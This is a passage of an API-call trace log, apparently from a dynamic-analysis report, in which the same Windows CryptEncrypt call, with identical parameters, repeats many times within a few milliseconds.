returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.374] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.375] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.376] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.377] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: 